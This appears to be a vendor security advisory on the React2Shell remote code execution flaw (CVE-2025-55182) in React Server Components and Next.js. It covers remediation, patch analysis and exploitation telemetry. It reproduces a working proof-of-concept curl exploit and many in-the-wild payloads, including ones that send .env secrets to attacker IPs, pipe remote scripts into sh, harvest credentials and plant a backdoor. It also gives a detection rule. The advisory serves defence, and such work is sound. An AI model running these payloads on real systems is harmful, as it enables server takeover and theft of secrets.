emerging threats and vulnerabilities

CVE-2025-55182 (React2Shell): Remote code execution in React Server Components and Next.js

December 4, 2025

Cve-2025-55182 (react2shell): Remote Code Execution In React Server Components And Next.js
LAST UPDATED

Key points and observations

  • On December 3, a remote code code execution (RCE) vulnerability was identified in React Server Components and tracked as CVE-2025-55182.
  • Under certain conditions that remain unclear at the time of writing, this vulnerability allows for the execution of arbitrary code in server-side applications without authentication in affected components.
  • This vulnerability affects the popular Next.js framework because it includes one of the affected components. Next.js is tracking this vulnerability as CVE-2025-66478. While the US National Vulnerability Database (NVD) has officially rejected this CVE assignment, it's still being referred to by the community.
  • CVE-2025-55182 was assigned a CVSS score of 10/10.
  • Public exploit code is available. Datadog has confirmed that exploitation is straightforward, including in basic blank applications created by the scaffolding tool create-next-app that uses a default template to bootstrap a new Next.js application.
  • As of December 5, we have identified active exploitation attempts that contain weaponized payloads.

How to know if you're affected

According to the official advisory, affected React components are listed below.

Library Vulnerable versions Patched versions CVE
react-server-dom-parcel       19.0, 19.1.0, 19.1.1, 19.2.0       19.0.1, 19.1.2, 19.2.1       CVE-2025-55182
react-server-dom-webpack       19.0, 19.1.0, 19.1.1, 19.2.0       19.0.1, 19.1.2, 19.2.1       CVE-2025-55182
react-server-dom-turbopack       19.0, 19.1.0, 19.1.1, 19.2.0       19.0.1, 19.1.2, 19.2.1       CVE-2025-55182

Downstream components that use these libraries are also affected. Most notably, this vulnerability impacts the popular server-side framework Next.js when an application uses the App Router feature. For tracking purposes, Next.js is tracking this vulnerability as CVE-2025-66478.

Vulnerable versions of Next.js that embed a vulnerable React component are:

  • 15.x
  • 16.x
  • 14.3.0-canary.77 and later canary releases

Patched versions are:

  • 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7
  • 16.0.7

How to remediate affected applications

To remediate a vulnerable application, upgrade the vulnerable components to a patched version. You can run npm run audit locally to identify the presence of this vulnerability:

$ npm audit report

next  16.0.0-canary.0 - 16.0.6
Severity: critical
Next.js is vulnerable to RCE in React flight protocol - https://github.com/advisories/GHSA-9qr9-h5gf-34mp

Analysis and exploitation of the vulnerability

The patch to this vulnerability was committed on December 3 in the facebook/react GitHub repository: https://github.com/facebook/react/pull/35277

export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

This patch shows that the vulnerability is a server-side prototype pollution vulnerability, a subtype of prototype pollution that's applicable for server-side components. Under specific conditions, this would allow an attacker to "pollute" the prototype of a JavaScript object and execute arbitrary code by calling native functions such as child_process.execSync.

Public proofs of concept (PoC)

Following the announcement of this vulnerability, several proofs of concept were released, with varying degrees of real-world application. Some of these proofs of concept were visibly AI-generated.

A few hours after the vulnerability was announced, a first PoC ejpir/CVE-2025-55182-poc was released, which injects exploit payloads in HTTP parameters called $ACTION_REF_0 and $ACTION_0:0 but was ultimately deemed non-functional.

Later on December 4, a working proof-of-concept exploit code was published on GitHub by security engineer Moritz Sanft, and confirms that the vulnerability can be exploited, including against a blank Next.js application created through create-next-app. This can be demonstrated by creating a blank application, then building and running it:

npx create-next-app@16.0.6 sample-app --yes
cd sample app
npm run build
npm run start

Then, in a separate terminal, executing the following HTTP request:

command="id > /tmp/pwned"

cat > payload.json <<EOF
{
    "then": "\$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\\"then\\": \\"\$B0\\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('${command}');",
        "_formData": {
            "get": "\$1:constructor:constructor"
        }
    }
}
EOF

echo -n '"$@0"' > payload2.txt

curl -X POST http://localhost:3000 -H "Next-Action: dontcare" \
    -F "0=<payload.json" -F '1=<payload2.txt' \
    --max-time 2 2>/dev/null || true

Following execution, the file /tmp/pwned will contain:

uid=0(root) gid=0(root) groups=0(root)

For an in-depth explanation of the exploitation steps, refer to Moritz Sanft's walk-through.

On December 5, the original reporter of the vulnerability, Lachlan Davidson, published their proof-of-concept code on GitHub in three different flavors. It works similarly to Moritz Sanft's code, although the payloads are different.

The original proof-of-concept code was released by Lachlan Davidson on the morning (UTC) of December 5 (click to enlarge)
The original proof-of-concept code was released by Lachlan Davidson on the morning (UTC) of December 5 (click to enlarge)

Exploitation activity in the wild

Based on our global telemetry, we started identifying scanning activity for this vulnerability on December 3 around 10 p.m. UTC. As of December 5, we continued to observe both scanning and exploitation activity and have identified over 800 IP addresses exhibiting scanning behavior that are attempting to exploit applications of at least two distinct organizations. This activity became sustained starting from December 4 around 11 p.m. UTC.

Analysis of exploitation activity

Scanning activity observed by Datadog (click to enlarge)
Scanning activity observed by Datadog (click to enlarge)

Analyzing the number of exploiting IPs also shows a surge of scanning activity starting early on December 5 (UTC), as the graph below shows. Some of this scanning activity can be attributed to legitimate security companies.

Scanning activity observed by Datadog, by the number of source IP addresses (click to enlarge)
Scanning activity observed by Datadog, by the number of source IP addresses (click to enlarge)

Scanning activity correlates with the release timeline of the proofs of concept. First, we observed exploitation attempts that were using the nonfunctional PoC. Then, when the second PoC was made available by Moritz Sanft, scanning activity started using its payload instead. Finally, the payload from the original proof of concept took over.

Scanning activity observed by Datadog, split by the type of payload (click to enlarge)
Scanning activity observed by Datadog, split by the type of payload (click to enlarge)

Observed payloads

We observed the payloads below in the $ACTION_0:0 HTTP parameter, corresponding to the initial non-functional PoC. These payloads are not weaponized and correspond to scanning behavior.

{"id":"vm#runInThisContext","bound":["process.mainModule.require(\"child_process\").execSync(\"curl sapo.shk0x.net/?from=https://REDACTED \").toString()"]}

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('type C:\\\\Windows\\\\win.ini').toString()"]}

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}

{"id":"fs#readfilesync","bound":["/etc/passwd","utf8"]}

{"id": "vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"echo vuln_test_835543\").toString()"]}

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"nslookup xwpoogfunv.zaza.eu.org\")"]}

{"id":"vm#runInThisContext","bound":["process.mainModule.require(\"dns\").resolve(\"REDACTED.a02.lol\",console.log)"]}

{"id": "vm#runInThisContext", "bound": ["console.log('YOU HAVE BEEN HACKED!'); process.mainModule.require('child_process').execSync('echo DvkDlhIRaJXc78t5').toString()"]}

{"id":"vm#runInNewContext","bound":["this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()"]}

{"id":"vm#runInThisContext","bound":["fetch('http://REDACTED.oastify.com');"]}

Next, in addition to payloads used to validate if the vulnerability is present, we observed several weaponized payloads linked to one of the two working proofs of concept we have validated, embedded in the HTTP parameter 0.

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('cat ./.env | wget --post-data=\"$(cat -)\" -O- http://93.123.109.247:8000');", "_formData": {"get": "$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('curl 45.77.33.136:8080/b.sh|sh').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('(curl -fsSL -m180 http://194.246.84.13:2045/slt||wget -T180 -q http://194.246.84.13:2045/slt)|sh').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('((curl -sL http://45.32.158.54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64) || (wget http://45.32.158.54/5e51aff54626ef7f/x86_64 -O /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64))').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://46.36.37.85:12000/sex.sh && bash sex.sh');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').exec('mkdir -p /tmp && set > /tmp/c_0500 && cat *env* >> /tmp/c_0500  && wget --post-file=/tmp/c_0500 -qO /dev/null http://144.202.115.234:80/upload?name=REDACTED && rm /tmp/c_0500');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$b1337\"}","_response":{"_prefix":"var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!=='undefined'?globalthis.require:null));\n    var os=_r('os');\n    var fs=_r('fs');\n    var cp=_r('child_process');\n    var info=[];\n\n    info.push('=== system ===');\n    info.push('platform: '+os.platform());\n    info.push('arch: '+os.arch());\n    info.push('hostname: '+os.hostname());\n    info.push('user: '+os.userinfo().username);\n    info.push('home: '+os.homedir());\n    info.push('cwd: '+process.cwd());\n    info.push('node: '+process.version);\n    info.push('pid: '+process.pid);\n\n    info.push('\\n=== environment (sensitive) ===');\n    var e=process.env;\n    for(var k in e){\n        var ku=k.touppercase();\n        if(ku.includes('key')||ku.includes('secret')||ku.includes('pass')||ku.includes('token')||ku.includes('database')||ku.includes('mongo')||ku.includes('redis')||ku.includes('api')||ku.includes('auth')||ku.includes('aws')){\n            info.push(k+'='+e[k]);\n        }\n    }\n\n    info.push('\\n=== files ===');\n    var files=['.env','.env.local','.env.production','next.config.js','package.json','/etc/passwd'];\n    files.foreach(function(f){\n        try{\n            var s=fs.statsync(f);\n            info.push(f+' ('+s.size+' bytes) - exists');\n        }catch(e){\n            info.push(f+' - not found');\n        }\n    });\n\n    info.push('\\n=== network ===');\n    try{\n        var n=os.networkinterfaces();\n        for(var i in n){\n            n[i].foreach(function(a){\n                if(a.family==='ipv4')info.push(i+': '+a.address);\n            });\n        }\n    }catch(e){}\n\n    info.push('\\n=== writable dirs ===');\n    var dirs=['/tmp','/var/tmp',process.cwd(),process.cwd()+'/public',process.cwd()+'/.next'];\n    dirs.foreach(function(d){\n        try{\n            fs.accesssync(d,fs.constants.w_ok);\n            info.push(d+' - writable');\n        }catch(e){\n            info.push(d+' - not writable');\n        }\n    });\n\n    return info.join('\\n');\n    })();throw object.assign(new error('next_redirect'),{digest:`next_redirect;push;/x?d=${encodeuricomponent(string(res))};307;`});","_chunks":"$q2","_formdata":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var require=process.mainModule.require;var http=require('http');var cp=require('child_process');var orig=http.Server.prototype.emit;http.Server.prototype.emit=function(ev,rq,rs){if(ev==='request'&&rq.url.indexOf('/_bk')===0){var m=rq.url.match(/c=([^&]*)/);rs.writeHead(200,{'Content-Type':'text/plain'});rs.end(m?cp.execSync(decodeURIComponent(m[1])).toString():'ready');return true;}return orig.apply(this,arguments);};throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/injected;307;`});//","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).exec(if [ -f/usr/bin/curl ] then curl http://141.11.240.103:45178/test.sh | sh else wget -qo- http://141.11.240.103:45178/test.sh | sh fi ).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `})  _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}

Indicators of compromise (IOCs)

We are sharing indicators of compromise corresponding to IP addresses from which we have observed attempts to exploit the vulnerability with a malicious exploit payload.

These IOCs are available on our GitHub repository: https://github.com/DataDog/indicators-of-compromise/tree/main/react-CVE-2025-55182

A note on server-side prototype pollution vulnerabilities

Server-side prototype pollution vulnerabilities (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes) are generally exploited in frontend code to trigger cross-site scripting (XSS vulnerabilities). Although less common on the server side, successful exploitation is more impactful in this case, as it can allow for remote code execution or arbitrary file read on the server.

To illustrate what a server-side prototype pollution vulnerability might look like in the wild, let's take a standard function that attempts to merge two objects:

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = target[key] || {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

Let’s assume we're reading some sort of configuration from untrusted user input, in our case from command line arguments:

const userInput = JSON.parse(process.argv[2] || '{}');
const defaultConfig = {}
const config = merge(defaultConfig, userInput);

Then, that application runs a seemingly-innocuous process, such as sh:

const result = spawnSync('sh', [], {});
console.log(result.stdout.toString())

At first glance, it may look like this code is safe and wouldn't allow a user to run arbitrary commands.

However, it is vulnerable to prototype pollution:

$ node app.js '{"__proto__":{"input":"id"}}'
uid=0(root) gid=0(root) groups=0(root)

When the merge function runs, it ends up modifying `Object.prototype` itself instead of just the target object. The key __proto__ is special in JavaScript: setting it doesn't create a property named __proto__, but rather modifies the prototype chain. This means Object.prototype.input is now set to a malicious command, and any future object created will have this property, as we can demonstrate by running:

> const object = {}
> object.__proto__.input = "Hello world!"

> const other = {}
> other.input
'Hello world!'

The call to spawnSync('sh', [], {}); is then equivalent to spawnSync('sh', [], {input: 'malicious command'});, which passes the malicious command as standard input to sh.

Although this demonstrates a simplified version of a prototype pollution vulnerability, it shows how using untrusted user input modifying an object's prototype may lead to code execution.

How Datadog can help

Datadog Code Security scans your code at runtime or directly on GitHub to identify third-party libraries with known vulnerabilities.

You can use the following search to identify if one of your applications is affected.

Datadog Code Security identfiying a vulnerable dependency (click to enlarge)
Datadog Code Security identfiying a vulnerable dependency (click to enlarge)

Datadog App and API Protection (AAP) is also able to identify and block exploitation at runtime.

Datadog Workload Protection identifies exploitation attempts using a custom agent rule reproduced below.

process.parent.file.name == "node"
&& exec.file.path in ["/bin/dash", "/usr/bin/dash", "/bin/sh", "/bin/static-sh", "/usr/bin/sh", "/bin/bash", "/usr/bin/bash", "/bin/bash-static", "/usr/bin/zsh", "/usr/bin/ash", "/usr/bin/csh", "/usr/bin/ksh", "/usr/bin/tcsh", "/usr/lib/initramfs-tools/bin/busybox", "/bin/busybox", "/usr/bin/fish", "/bin/ksh93", "/bin/rksh", "/bin/rksh93", "/bin/lksh", "/bin/mksh", "/bin/mksh-static", "/usr/bin/csharp", "/bin/posh", "/usr/bin/rc", "/bin/sash", "/usr/bin/yash", "/bin/zsh5", "/bin/zsh5-static"] || exec.comm in ["wget", "curl", "lwp-download"] || exec.file.path in ["/bin/cat", "/bin/chgrp", "/bin/chmod", "/bin/chown", "/bin/cp", "/bin/date", "/bin/dd", "/bin/df", "/bin/dir", "/bin/echo", "/bin/ln", "/bin/ls", "/bin/mkdir", "/bin/mknod", "/bin/mktemp", "/bin/mv", "/bin/pwd", "/bin/readlink", "/bin/rm", "/bin/rmdir", "/bin/sleep", "/bin/stty", "/bin/sync", "/bin/touch", "/bin/uname", "/bin/vdir", "/usr/bin/arch", "/usr/bin/b2sum", "/usr/bin/base32", "/usr/bin/base64", "/usr/bin/basename", "/usr/bin/chcon", "/usr/bin/cksum", "/usr/bin/comm", "/usr/bin/csplit", "/usr/bin/cut", "/usr/bin/dircolors", "/usr/bin/dirname", "/usr/bin/du", "/usr/bin/env", "/usr/bin/expand", "/usr/bin/expr", "/usr/bin/factor", "/usr/bin/fmt", "/usr/bin/fold", "/usr/bin/groups", "/usr/bin/head", "/usr/bin/hostid", "/usr/bin/id", "/usr/bin/install", "/usr/bin/join", "/usr/bin/link", "/usr/bin/logname", "/usr/bin/md5sum", "/usr/bin/md5sum.textutils", "/usr/bin/mkfifo", "/usr/bin/nice", "/usr/bin/nl", "/usr/bin/nohup", "/usr/bin/nproc", "/usr/bin/numfmt", "/usr/bin/od", "/usr/bin/paste", "/usr/bin/pathchk", "/usr/bin/pinky", "/usr/bin/pr", "/usr/bin/printenv", "/usr/bin/printf", "/usr/bin/ptx", "/usr/bin/realpath", "/usr/bin/runcon", "/usr/bin/seq", "/usr/bin/sha1sum", "/usr/bin/sha224sum", "/usr/bin/sha256sum", "/usr/bin/sha384sum", "/usr/bin/sha512sum", "/usr/bin/shred", "/usr/bin/shuf", "/usr/bin/sort", "/usr/bin/split", "/usr/bin/stat", "/usr/bin/stdbuf", "/usr/bin/sum", "/usr/bin/tac", "/usr/bin/tail", "/usr/bin/tee", "/usr/bin/test", "/usr/bin/timeout", "/usr/bin/tr", "/usr/bin/truncate", "/usr/bin/tsort", "/usr/bin/tty", "/usr/bin/unexpand", "/usr/bin/uniq", "/usr/bin/unlink", "/usr/bin/users", "/usr/bin/wc", "/usr/bin/who", "/usr/bin/whoami", "/usr/sbin/chroot", "/bin/busybox"]
Datadog Workload Protection identifying exploitation of the CVE-2025-55182 vulnerability, using a custom rule (click to enlarge)
Datadog Workload Protection identifying exploitation of the CVE-2025-55182 vulnerability, using a custom rule (click to enlarge)

References

Tooling:

Advisories:

Cloud providers:

Vendor posts:

CERTs:

Acknowledgements

This post includes contributions from Frederic Baguelin, Nick Frichette, Lorenzo Susini, and Ryan Simon.

Updates made to this entry

December 4, 2025Added information about a working proof of concept identified on GitHub.

December 5, 2025Added detection information using Datadog Workload Protection.

December 5, 2025Added a link to IOCs.

December 5, 2025Updated our observations about scanning and exploitation attempts in the wild.

December 5, 2025Added a mention about the official proof of concept being released.

December 5, 2025Added observed payloads in the wild corresponding to a newly released proof of concept exploit.

December 5, 2025Updated the graph that includes information about exploitation attempt in the wild to include more accurate data.

December 8, 2025Updated IOCs.

Did you find this article helpful?

Subscribe to the Datadog Security Digest

Get the latest insights from the cloud security community and Security Labs posts, delivered to your inbox monthly. No spam.

Related Content